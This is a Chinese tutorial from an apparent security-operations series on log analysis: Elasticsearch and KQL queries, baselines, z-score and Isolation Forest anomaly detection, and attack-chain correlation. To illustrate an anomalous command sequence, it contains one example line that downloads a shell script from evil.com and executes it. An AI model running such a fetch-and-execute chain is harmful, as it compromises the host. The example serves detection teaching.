Day-278-日志分析技术

# Day 299: 日志分析技术 - 搜索/统计/基线/异常检测

> 安全运维系列第 9 天 | 预计阅读时间：25 分钟 | 难度：★★★☆☆

---

## 清单 目录

1. [日志分析概述](#日志分析概述)
2. [搜索技术](#搜索技术)
3. [统计分析](#统计分析)
4. [基线建立](#基线建立)
5. [异常检测](#异常检测)
6. [关联分析](#关联分析)
7. [分析实践](#分析实践)
8. [总结与思考](#总结与思考)
9. [参考资料](#参考资料)

---

## 日志分析概述

### 分析目标

**安全检测**：
- 发现已知威胁
- 识别异常行为
- 检测攻击活动

**事件调查**：
- 还原攻击链
- 确定影响范围
- 收集证据

**运营优化**：
- 识别误报模式
- 优化检测规则
- 提升运营效率

### 分析层次

**描述性分析**：发生了什么？
- 日志搜索和过滤
- 统计和聚合
- 可视化展示

**诊断性分析**：为什么发生？
- 根因分析
- 关联分析
- 模式识别

**预测性分析**：将要发生什么？
- 趋势预测
- 风险评估
- 威胁预警

**规范性分析**：应该怎么做？
- 响应建议
- 防御优化
- 策略调整

---

## 搜索技术

### 全文搜索

**Elasticsearch 查询**：
```json
// 简单查询
GET /security-logs/_search
{
  "query": {
    "match": {
      "message": "failed login"
    }
  }
}

// 短语查询
GET /security-logs/_search
{
  "query": {
    "match_phrase": {
      "message": "failed login attempt"
    }
  }
}

// 多字段查询
GET /security-logs/_search
{
  "query": {
    "multi_match": {
      "query": "admin login",
      "fields": ["message", "user.name", "event.action"]
    }
  }
}
```

### 结构化查询

**布尔查询**：
```json
GET /security-logs/_search
{
  "query": {
    "bool": {
      "must": [
        { "match": { "event.action": "login" } },
        { "match": { "event.outcome": "failure" } }
      ],
      "filter": [
        { "range": { "@timestamp": { "gte": "now-1h" } } },
        { "term": { "src.ip": "192.168.1.100" } }
      ],
      "must_not": [
        { "term": { "user.name": "service_account" } }
      ]
    }
  }
}
```

### KQL (Kibana Query Language)

**基础语法**：
```
# 字段匹配
src.ip: 192.168.1.100

# 全文搜索
"failed login"

# 逻辑运算
event.action: login AND event.outcome: failure

# 范围查询
src.port: > 1024

# 通配符
user.name: admin*

# 存在性检查
src.ip: *
```

**高级语法**：
```
# 嵌套字段
user.id: 1000 AND src.ip: 192.168.*

# 时间范围
@timestamp >= "2026-04-12T00:00:00" AND @timestamp < "2026-04-13T00:00:00"

# 组合查询
(event.action: login OR event.action: logoff) AND user.name: admin
```

---

## 统计分析

### 聚合分析

**计数聚合**：
```json
GET /security-logs/_search
{
  "size": 0,
  "aggs": {
    "events_by_action": {
      "terms": {
        "field": "event.action",
        "size": 20
      }
    }
  }
}
```

**时间序列聚合**：
```json
GET /security-logs/_search
{
  "size": 0,
  "aggs": {
    "events_over_time": {
      "date_histogram": {
        "field": "@timestamp",
        "calendar_interval": "hour"
      },
      "aggs": {
        "unique_sources": {
          "cardinality": {
            "field": "src.ip"
          }
        }
      }
    }
  }
}
```

**统计指标**：
```json
GET /security-logs/_search
{
  "size": 0,
  "aggs": {
    "response_stats": {
      "stats": {
        "field": "http.response.bytes"
      }
    },
    "response_percentiles": {
      "percentiles": {
        "field": "http.response.bytes",
        "percents": [50, 90, 95, 99]
      }
    }
  }
}
```

### 常见统计场景

**Top N 分析**：
```
Top 10 源 IP:
GET /security-logs/_search
{
  "size": 0,
  "aggs": {
    "top_sources": {
      "terms": {
        "field": "src.ip",
        "size": 10
      }
    }
  }
}

Top 10 用户:
GET /security-logs/_search
{
  "size": 0,
  "aggs": {
    "top_users": {
      "terms": {
        "field": "user.name",
        "size": 10
      }
    }
  }
}
```

**趋势分析**：
```
登录失败趋势:
GET /security-logs/_search
{
  "size": 0,
  "query": {
    "match": { "event.action": "login_failure" }
  },
  "aggs": {
    "trend": {
      "date_histogram": {
        "field": "@timestamp",
        "calendar_interval": "day"
      }
    }
  }
}
```

---

## 基线建立

### 基线类型

**数量基线**：
- 日志量基线（按小时/天）
- 事件数基线
- 用户活动基线

**行为基线**：
- 用户登录时间基线
- 访问模式基线
- 命令执行基线

**性能基线**：
- 响应时间基线
- 错误率基线
- 资源使用基线

### 基线计算方法

**简单基线**：
```
平均值基线：μ = Σx / n
标准差基线：σ = √(Σ(x - μ)² / n)
正常范围：μ ± 2σ (95% 置信区间)
```

**时间序列基线**：
```python
# 按小时建立基线
hourly_baseline = {}
for each hour in 0-23:
    values = [count for same hour in past 7 days]
    hourly_baseline[hour] = {
        'mean': mean(values),
        'std': std(values),
        'min': min(values),
        'max': max(values)
    }
```

**分位数基线**：
```
P50 (中位数): 正常水平
P90: 警告阈值
P95: 严重阈值
P99: 极端阈值
```

### 基线维护

**基线更新策略**：
- 滚动更新（指数加权移动平均）
- 定期重算（每周/每月）
- 事件驱动更新（环境变更后）

**基线版本管理**：
```
baseline_v1.0_2026-04-01.json
baseline_v1.1_2026-04-08.json
baseline_v2.0_2026-05-01.json
```

---

## 异常检测

### 统计异常检测

**Z-Score 方法**：
```python
def zscore_anomaly(value, mean, std):
    zscore = (value - mean) / std
    if abs(zscore) > 3:  # 3 倍标准差
        return True, zscore
    return False, zscore

# 示例
# 当前值 1000，基线均值 500，标准差 100
# zscore = (1000 - 500) / 100 = 5
# 异常！
```

**IQR (四分位距) 方法**：
```python
def iqr_anomaly(value, q1, q3):
    iqr = q3 - q1
    lower_bound = q1 - 1.5 * iqr
    upper_bound = q3 + 1.5 * iqr
    
    if value < lower_bound or value > upper_bound:
        return True, 'outlier'
    return False, 'normal'
```

### 机器学习异常检测

**孤立森林 (Isolation Forest)**：
```python
from sklearn.ensemble import IsolationForest

# 训练模型
model = IsolationForest(contamination=0.01)
model.fit(training_data)

# 检测异常
predictions = model.predict(new_data)
# -1 表示异常，1 表示正常
```

**One-Class SVM**：
```python
from sklearn.svm import OneClassSVM

# 训练
model = OneClassSVM(nu=0.01, kernel='rbf')
model.fit(normal_data)

# 检测
predictions = model.predict(test_data)
```

### 行为异常检测

**用户行为基线**：
```
正常行为模式：
- 登录时间：9:00-18:00
- 登录地点：办公室 IP
- 访问系统：业务系统 A、B

异常检测：
- 凌晨 3 点登录 → 时间异常
- 从国外 IP 登录 → 地点异常
- 访问数据库服务器 → 系统异常
```

**序列异常检测**：
```
正常命令序列：
cd /var/log → cat syslog → exit

异常命令序列：
cd /etc/passwd → cat passwd → wget http://evil.com/shell.sh → chmod +x shell.sh → ./shell.sh
```

---

## 关联分析

### 时间关联

**时间窗口关联**：
```
规则：5 分钟内同一源的多次失败登录后成功登录

事件序列：
T0: 00:00 - 登录失败 (src: 192.168.1.100, user: admin)
T1: 00:01 - 登录失败 (src: 192.168.1.100, user: admin)
T2: 00:02 - 登录失败 (src: 192.168.1.100, user: admin)
T3: 00:03 - 登录成功 (src: 192.168.1.100, user: admin)

→ 关联为：暴力破解成功事件
```

### 实体关联

**IP 关联**：
```
同一 IP 的多类活动：
- 端口扫描
- Web 攻击尝试
- SSH 暴力破解
→ 关联为：针对性攻击
```

**用户关联**：
```
同一用户的多系统活动：
- VPN 登录
- 邮件系统访问
- 文件服务器访问
- 数据库查询
→ 关联为：完整用户会话
```

### 攻击链关联

**MITRE ATT&CK 映射**：
```
检测到的事件：
1. 钓鱼邮件点击 → Initial Access (T1566)
2. 恶意宏执行 → Execution (T1059)
3. 注册表修改 → Persistence (T1547)
4. C2 通信 → Command and Control (T1071)
5. 数据打包 → Collection (T1560)
6. 数据外传 → Exfiltration (T1041)

→ 关联为：完整攻击链，高优先级事件
```

---

## 分析实践

### 调查工作流

**1. 定义调查范围**：
- 时间范围
- 相关实体（IP、用户、主机）
- 事件类型

**2. 数据收集**：
```
搜索相关日志：
- 源 IP 相关日志
- 目标 IP 相关日志
- 用户活动日志
- 系统日志
```

**3. 时间线重建**：
```
按时间排序事件：
T0: 初始活动
T1: 升级活动
T2: 可疑活动
T3: 确认事件
```

**4. 根因分析**：
- 5 Why 分析法
- 鱼骨图分析
- 故障树分析

### 分析工具

**Kibana Discover**：
- 交互式日志浏览
- 字段筛选
- 时间范围选择

**Jupyter Notebook**：
```python
# 日志分析示例
import pandas as pd
from elasticsearch import Elasticsearch

es = Elasticsearch()

# 查询数据
query = {
    "query": {"match": {"event.action": "login"}},
    "size": 10000
}
result = es.search(index="security-logs-*", body=query)

# 转换为 DataFrame
logs = pd.DataFrame([hit['_source'] for hit in result['hits']['hits']])

# 分析
login_by_hour = logs.groupby(logs['@timestamp'].dt.hour).size()
login_by_hour.plot(kind='bar')
```

---

## 总结与思考

### 核心要点回顾

1. **搜索技术**：全文搜索、结构化查询、KQL
2. **统计分析**：聚合分析、时间序列、Top N
3. **基线建立**：数量基线、行为基线、维护策略
4. **异常检测**：统计方法、机器学习、行为分析
5. **关联分析**：时间关联、实体关联、攻击链关联
6. **分析实践**：调查工作流、工具使用

### 深入思考

**分析的挑战**
- 数据量大，难以全面分析
- 误报率高，分析师疲劳
- 攻击手法演变，检测滞后

**最佳实践**
- 建立标准化分析流程
- 结合自动化和人工分析
- 持续优化检测规则
- 积累分析经验和知识

---

## 参考资料

### 学习资源

- **Elasticsearch Query DSL**: https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html
- **MITRE ATT&CK**: https://attack.mitre.org

### 工具资源

- **Kibana**: https://www.elastic.co/kibana
- **Jupyter**: https://jupyter.org

---

*Day 299 完成 | 日志分析技术详解 | 字数：约 11,000 字*